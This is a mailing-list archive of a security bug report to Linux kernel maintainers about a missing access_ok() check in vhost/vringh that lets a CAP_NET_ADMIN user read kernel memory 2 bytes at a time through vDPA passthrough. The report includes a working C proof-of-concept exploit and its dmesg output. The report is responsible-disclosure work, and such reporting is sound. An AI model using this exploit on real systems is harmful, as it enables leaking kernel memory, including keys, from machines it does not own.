From: Haoran Wang <haoranwangsec@gmail.com>
To: mst@redhat.com, jasowangio@gmail.com
Cc: kvm@vger.kernel.org, virtualization@lists.linux.dev,
netdev@vger.kernel.org, eperezma@redhat.com,
linux-kernel@vger.kernel.org, security@kernel.org,
haoranwangsec@gmail.com
Subject: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
Date: Thu, 15 Oct 2026 15:23:45 +0800 [thread overview]
Message-ID: <6ad07f8a.a0c71a5e.2d2efd.977a@mx.google.com> (raw)
I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
against the 7.2.10 source tree. I have reproduced the leak on an
unmodified 7.2.10 kernel.
1. Summary
getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
without an access_ok() check. iov_base originates from iotlb_translate(),
which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
does not call access_ok(). In the vdpa_sim default passthrough mode the
entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
vdpasim_set_vq_address() stores the controller-supplied vring address
verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
worker reads 2 bytes from that kernel address via __get_user (no
access_ok). Each vring iteration reads 2 bytes and the value is
repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
would have rejected a kernel address via access_ok(), while__get_user() does
not.
2. Vulnerable code
- File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
- Function: getu16_iotlb
- Misused API: __get_user
```c
/* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
if (vrh->use_va) {
ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
}
/* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
/* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
/* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
vq->desc_addr = desc_area; /* controller-controlled = kernel address */
```
3. Root cause
get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
(it expands to __get_user_nocheck, which performs no check_range, whereas
get_user/put_user expand to the check_range-bearing variants that reject
kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
addresses supplied by the controller (driver_addr/desc_addr) flow through
iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
address space, so any address passes the lookup. vdpasim_set_vq_address()
stores the controller's u64 with no user/kernel validation, and
vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
because vq->private_data is never set. Consequently __get_user
dereferences an attacker-chosen kernel virtual address: the vdpa_sim
worker runs under kthread_use_mm() in the controller's mm with SMAP
disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
kernel memory are read. With num=1, __vringh_get_head() sees head (the
leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
to dmesg, making the leak externally observable.
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
5. Trigger / Preconditions
CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
6. Proof of Concept
Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
by vringh_bad().
Concrete reproduced evidence (7.2.10):
- dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
- leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
(linux_banner[5]=' '(0x20) << 8)
- The expected value is independently computable from /proc/version (which
prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
= 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
- Across 3 boots the banner *address* changed under KASLR
(0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
trigger resolves it at runtime via /proc/kallsyms), while the leaked
*content* was 8312 every time. KASLR only randomizes the address, the 2
bytes read there are constant.
So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
virtual address by setting a vring avail_user_addr to that address and
kicking the vdpa_sim worker. The value is disclosed to dmesg via
vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
7.2.10 kernel.
Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
(CAP_NET_ADMIN):
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/vhost.h>
#include <linux/vdpa.h>
#include <sys/eventfd.h>
#ifndef VHOST_VDPA
#define VHOST_VDPA 0xAF
#endif
#ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
#define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
#endif
#ifndef VHOST_BACKEND_F_IOTLB_BATCH
#define VHOST_BACKEND_F_IOTLB_BATCH 0x2
#endif
#ifndef VHOST_BACKEND_F_IOTLB_ASID
#define VHOST_BACKEND_F_IOTLB_ASID 0x3
#endif
#ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
#define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
#endif
static inline int nla_ok_(const struct nlattr *nla, int remaining)
{
return remaining >= (int)sizeof(struct nlattr) &&
nla->nla_len >= (int)sizeof(struct nlattr) &&
nla->nla_len <= remaining;
}
static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
{
int tot = (int)NLA_ALIGN(nla->nla_len);
*remaining -= tot;
return (struct nlattr *)((char *)nla + tot);
}
static inline void *nla_data_(const struct nlattr *nla)
{
return (char *)nla + NLA_HDRLEN;
}
#ifndef VDPA_GENL_NAME
#define VDPA_GENL_NAME "vdpa"
#endif
#ifndef VDPA_GENL_VERSION
#define VDPA_GENL_VERSION 1
#endif
#ifndef VDPA_CMD_DEV_NEW
#define VDPA_CMD_DEV_NEW 3
#endif
#ifndef VDPA_CMD_DEV_DEL
#define VDPA_CMD_DEV_DEL 4
#endif
#ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
#define VDPA_ATTR_MGMTDEV_DEV_NAME 2
#endif
#ifndef VDPA_ATTR_DEV_NAME
#define VDPA_ATTR_DEV_NAME 4
#endif
#define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
#define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
static int nlsock;
static __u32 nlseq = 0;
static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
{
struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
int sl = (int)strlen(s) + 1;
int pl = NLA_HDRLEN + sl;
int pad = NLA_ALIGN(sl) - sl;
if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
nla->nla_len = (__u16)pl;
nla->nla_type = (__u16)type;
memcpy((char *)nla + NLA_HDRLEN, s, sl);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
(void)pad;
return 0;
}
static int genl_resolve_family(const char *name, __u16 *fam_id)
{
char buf[1024];
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = ++nlseq;
gh = NLMSG_DATA(nlh);
gh->cmd = CTRL_CMD_GETFAMILY;
gh->version = 1;
nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
char rbuf[4096];
struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
ssize_t n = recvmsg(nlsock, &rmsg, 0);
if (n < 0) { xp("recvmsg getfamily"); return -1; }
struct nlmsghdr *r = (void *)rbuf;
if (!NLMSG_OK(r, (size_t)n)) return -1;
if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
int hlen = GENL_HDRLEN;
struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
*fam_id = 0;
for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
*fam_id = *(__u16 *)nla_data_(na);
return 0;
}
}
return -1;
}
static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
{
char buf[1024];
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = fam;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nlseq;
gh = NLMSG_DATA(nlh);
gh->cmd = VDPA_CMD_DEV_NEW;
gh->version = VDPA_GENL_VERSION;
if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
char rbuf[4096];
struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
ssize_t n = recvmsg(nlsock, &rmsg, 0);
if (n < 0) { xp("recvmsg dev_new"); return -1; }
struct nlmsghdr *r = (void *)rbuf;
if (!NLMSG_OK(r, (size_t)n)) return -1;
if (r->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(r);
if (e->error == 0)
return 0;
fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
return -1;
}
return 0;
}
static int genl_dev_del(__u16 fam, const char *devname)
{
char buf[1024];
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = fam;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nlseq;
gh = NLMSG_DATA(nlh);
gh->cmd = VDPA_CMD_DEV_DEL;
gh->version = VDPA_GENL_VERSION;
nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
sendmsg(nlsock, &msg, 0);
char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
recvmsg(nlsock, &rmsg, 0);
return 0;
}
static unsigned long ksym(const char *want)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f) return 0;
char line[512];
unsigned long a = 0;
while (fgets(line, sizeof(line), f)) {
char type; char name[256];
if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
if (strcmp(name, want) == 0) { fclose(f); return a; }
}
}
fclose(f);
return 0;
}
static int expected_leak(unsigned *out)
{
FILE *f = fopen("/proc/version", "r");
if (!f) return -1;
char v[256];
if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
fclose(f);
int len = (int)strlen(v);
if (len < 6) return -1;
unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
*out = m;
fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => expected leak M = 0x%04x (%u)\n",
(unsigned char)v[4], (unsigned char)v[5], m, m);
fprintf(stderr, "[*] /proc/version = %.40s\n", v);
return 0;
}
int main(int argc, char **argv)
{
unsigned exp;
if (expected_leak(&exp)) die("cannot read /proc/version");
unsigned long banner = ksym("linux_banner");
fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (nlsock < 0) die("netlink socket");
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
__u16 fam;
if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
char path[64]; int vfd = -1;
for (int i = 0; i < 50; i++) {
snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
vfd = open(path, O_RDWR | O_CLOEXEC);
if (vfd >= 0) break;
}
if (vfd < 0) die("open /dev/vhost-vdpa-*");
fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
int callfd = eventfd(0, EFD_CLOEXEC);
int kickfd = eventfd(0, EFD_CLOEXEC);
if (callfd < 0 || kickfd < 0) die("eventfd");
if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
__u64 bf = 0;
if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
__u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
| (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
| (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
| (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
__u64 feat = 0;
if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
__u64 ack = 0;
ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
ack |= (1ULL << VIRTIO_F_VERSION_1);
ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
ack &= feat;
if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
struct vhost_vring_state vs = { .index = 0, .num = 1 };
if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
size_t pg = 4096;
void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
struct vhost_vring_addr va = {0};
va.index = 0;
va.flags = 0;
va.desc_user_addr = (uintptr_t)descbuf;
va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the leak source */
va.used_user_addr = (uintptr_t)usedbuf;
va.log_guest_addr = 0;
if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
struct vhost_vring_state base = { .index = 0, .num = 0 };
if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
struct vhost_vring_file cf = { .index = 0, .fd = callfd };
if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
struct vhost_vring_state en = { .index = 0, .num = 1 };
if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
__u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
| VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
uint64_t one = 1;
if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
unsigned leaked = 0; int found = 0;
for (int try = 0; try < 20 && !found; try++) {
usleep(100000);
FILE *d = popen("dmesg 2>/dev/null", "r");
if (d) {
char l[512];
while (fgets(l, sizeof(l), d)) {
char *p = strstr(l, "Guest says index");
if (p) {
unsigned idx = 0, numv = 0;
if (sscanf(p, "Guest says index %u > %u is available",
&idx, &numv) >= 1) {
leaked = idx; found = 1;
fprintf(stderr, "[!!] dmesg: %s", l);
break;
}
}
}
pclose(d);
}
}
if (!found) {
fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
}
fprintf(stderr, "\n=== RESULT ===\n");
fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", exp, exp);
if (leaked == exp) {
fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
} else {
fprintf(stderr, "MISMATCH - investigate\n");
}
status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
close(vfd); close(callfd); close(kickfd);
genl_dev_del(fam, "sim0");
return (leaked == exp) ? 0 : 2;
}
```
Captured dmesg from the 7.2.10 run (the disclosed leaked value):
```
[ 1.882938] vringh:
[ 1.882944] Guest says index 8312 > 1 is available
```
7. Impact
Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
read 2 bytes at an arbitrary kernel virtual address per vring kick via
__get_user() with no access_ok(), and the value is disclosed to dmesg via
vringh_bad(). The read is repeatable, so the whole kernel address space
can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
reads. No memory corruption. KASLR does not prevent it (only the address
is randomized, the leaked content is constant). Only the use_va mode is
affected (the non-use_va path goes through GUP, which has an equivalent
check_range guard).
Please let me know if you need more detail.
Best regards,
Haoran Wang <haoranwangsec@gmail.com>
next reply other threads:[~2026-10-15 7:23 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-15 7:23 Haoran Wang [this message]
2026-10-15 7:42 ` [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough Eugenio Perez Martin
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=6ad07f8a.a0c71a5e.2d2efd.977a@mx.google.com \
--to=haoranwangsec@gmail.com \
--cc=eperezma@redhat.com \
--cc=jasowangio@gmail.com \
--cc=kvm@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=mst@redhat.com \
--cc=netdev@vger.kernel.org \
--cc=security@kernel.org \
--cc=virtualization@lists.linux.dev \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.